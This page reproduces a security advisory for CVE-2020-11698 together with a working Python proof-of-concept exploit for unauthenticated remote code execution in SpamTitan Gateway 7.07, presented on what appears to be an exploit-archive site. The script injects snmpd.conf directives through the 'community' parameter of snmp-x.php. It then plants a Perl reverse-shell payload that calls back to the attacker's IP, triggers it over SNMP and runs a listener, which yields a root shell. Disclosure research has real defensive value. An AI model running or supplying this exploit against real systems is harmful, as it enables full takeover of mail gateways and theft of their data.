扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 |
# Exploit Title: SpamTitan 7.07 - Unauthenticated Remote Code Execution # Date: 2020-09-18 # Exploit Author: Felipe Molina (@felmoltor) # Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/ # Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway # Version: 7.07 # Tested on: FreeBSD # CVE : CVE-2020-11698 ---[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php]------------------------------ SECURITY ADVISORY: SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php Affected Software: SpamTitan Gateway 7.07 (possibly earlier versions) Vulnerability: Unauthenticated Remote Code Execution CVSSv3:10.0 (https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Severity:Critical Release Date:2020-04-17 CVE: CVE-2020-11698 I. Background ~~~~~~~~~~~~~ From www.spamtitan.com: "SpamTitan Gateway is a powerful Anti-Spam appliance that equips network administrators with extensive tools to control mail flow and protect against unwanted email and malware." II. Description ~~~~~~~~~~~~~~~ Improper input sanitization of the parameter "community" on the page snmp-x.php would allow a remote attacker to inject command directives into the file snmpd.conf. This would allow executing commands on the target server by by injecting an "extend" or "exec" SNMPD directive and querying the snmp daemon of the server for the correct OID. III. PoC ~~~~~~~~ Use python 3 and install the following modules: requests, pysnmp. If your IP is 192.168.1.5 and the target SpamTitan server is spamtitan.example.com, call the PoC like this: ./poc.py -t spamtitan.example.com -i 192.168.1.5 --------------------------------------------- #!/usr/bin/env python # Author: Felipe Molina (@felmoltor) # Date: 09/04/2020 # Python Version: 3.7 # Summary: This is PoC for an unauthenticated RCE 0day on SpamTitan 7.07 and previous versions. # The script abuses of two weaknesses on the product: # 1. Unauthenticated interaction with snmp-x.php script # 2. Injection of snmpd.conf configuration directives in multiple POST parameters such as "community" or "user_username" of snmp-x.php # Product URL: https://www.spamtitan.com/ # Product Version: 7.07 and probably previous import requests requests.packages.urllib3.disable_warnings() import os import threading from optparse import OptionParser import socket import json from pysnmp.hlapi import * from urllib.parse import urlparse from time import sleep SNMPGETDELAY=5 def parseoptions(): parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Target SpamTitan URL to attack. E.g.: https://spamtitan.com/", default=None) parser.add_option("-i", "--ip", dest="ip", help="Local IP where to listen for the reverse shell. Default: %s" % myip(), default=myip()) parser.add_option("-p", "--port", dest="port", help="Local Port where to listen for the reverse shell. Default: 4242", default=4242) parser.add_option("-q", "--quiet", action="store_true", dest="quiet", default=False, help="Shut up script! Just give me the shell.") return parser.parse_args() def printmsg(msg,quiet=False,msgtype="i"): if (not quiet): if (success): print("[%s] %s" % (msgtype,msg)) else: print("[-] %s" % msg) def info(msg,quiet=False): printmsg(msg,quiet,msgtype="i") def success(msg,quiet=False): printmsg(msg,quiet,msgtype="+") def fail(msg,quiet=False): printmsg(msg,quiet,msgtype="-") def myip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: # doesn't even have to be reachable s.connect(('10.255.255.255', 1)) IP = s.getsockname()[0] except: IP = '127.0.0.1' finally: s.close() return IP def shellServer(ip,port,quiet): servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM) servers.bind((ip, port)) servers.listen(1) info("Waiting for incoming connection on %s:%s" % (ip,port)) conn, addr = servers.accept() conn.settimeout(1) success("Hurray, we got a connection from %s" % addr[0]) prompt =conn.recv(128) prompt=str(prompt.decode("utf-8")).strip() command = input(prompt) while True: try: c = "%s\n" % (command) if (len(c)>0): conn.sendall(c.encode("utf-8")) # Quit the console if command == 'exit': info("\nClosing connection") conn.close() break else: completeanswer="" while True: answer=None try: answer=str((conn.recv(1024)).decode("utf-8")) completeanswer+=answer except socket.timeout: completeanswer.strip() break print(completeanswer,end='') command = input("") except (KeyboardInterrupt, EOFError): info("\nClosing connection") break def triggerSNMPShell(target, community, triggeroid, port, quiet): if (not quiet): print("Waiting %s seconds to allow the main thread set-up the shell listener." % SNMPGETDELAY) # Give the parent thread a few seconds to set up the shell listener before triggering the SNMP get query sleep(SNMPGETDELAY) if (not quiet): print("Querying the SNMP server to launch the shell.") targetp = urlparse(target) errorIndication, errorStatus, errorIndex, varBinds = next( getCmd(SnmpEngine(), CommunityData(community, mpModel=0), UdpTransportTarget((targetp.netloc, port)), ContextData(), ObjectType(ObjectIdentity(triggeroid))) ) if errorIndication: print("SNMP error: %s" % errorIndication) elif errorStatus: print('SNMP error status: %s at %s' % (errorStatus.prettyPrint(), errorIndex and varBinds[int(errorIndex) - 1][0] or '?')) def main(): (options,arguments) = parseoptions() q = options.quiet t = options.target i = options.ip p = options.port community="dummy" if (t is None): print("[-] Error. Specify a target (-t).") exit() if ((not "http://" in t) and (not "https://" in t)): t = "http://%s/snmp-x.php" % t else: t = "%s/snmp-x.php" % t if (not q): print("[+] Attacking: %s.\nReceiving shell in %s:%s" % (t,i,p)) TARGETOID=".1.3.6.1.4.1.8072.1.3.2.3.1.1.8.114.101.118.115.104.101.108.108" # PAYLOAD="extend revshell /usr/bin/perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (i,p) PAYLOAD="extend revshell /usr/bin/perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (i,p) TOGGLESNMP={ "jaction":"toggleSNMP", "newval":"1" } INJECTION={ "jaction":"saveAll", "contact":"CONTACT", "name":"SpamTitan", "location":"LOCATION", # Add our IP as allowed to query the injected "dummy" community # Add also the perl payload in a new line (%0a) of the snmpd.conf file "community":'%s" %s\n%s # ' % (community,i,PAYLOAD) } rev_thread = threading.Thread(target=triggerSNMPShell, args=(t, community, TARGETOID, 161,q)) rev_thread.start() # Start a thread to listen for incoming reverse shells: if (not q): print("[+] Launching a reverse shell listener to wait for the shell.") # Send the SNMP request to add a community and append an "extend" command to execute scripts # SpamTitan would add a new line in the snmpd.conf file with the new community name and the "extend" script inj_res = requests.post(t,INJECTION,verify=False) if (inj_res.status_code == 200): if (not q): print("Spawning a reverse shell listener. Wait for it...") shellServer(options.ip,int(options.port),options.quiet) else: print("Error. The target is probably not vulnerable (returned a %s code)." % inj_res.status_code) main() --------------------------------------------- III. Impact ~~~~~~~~~~~ The snmpd daemon is running as root in the target server. The pressented PoC would return a root shell without need of any registered user in the target server. There is total loss of confidentiality, integrity and availability on the SpamTitan server. IV. Disclosure ~~~~~~~~~~~~~~ Reported By: Felipe Molina de la Torre Vendor Informed:2020-04-17 Patch Release Date: 2020-05-26 Advisory Release Date:2019-09-18 V. References ~~~~~~~~~~~~~ * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11698 * https://sensepost.com/blog/2020/clash-of-the-spamtitan/ ---------------------------------[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php]--- |
体验盒子
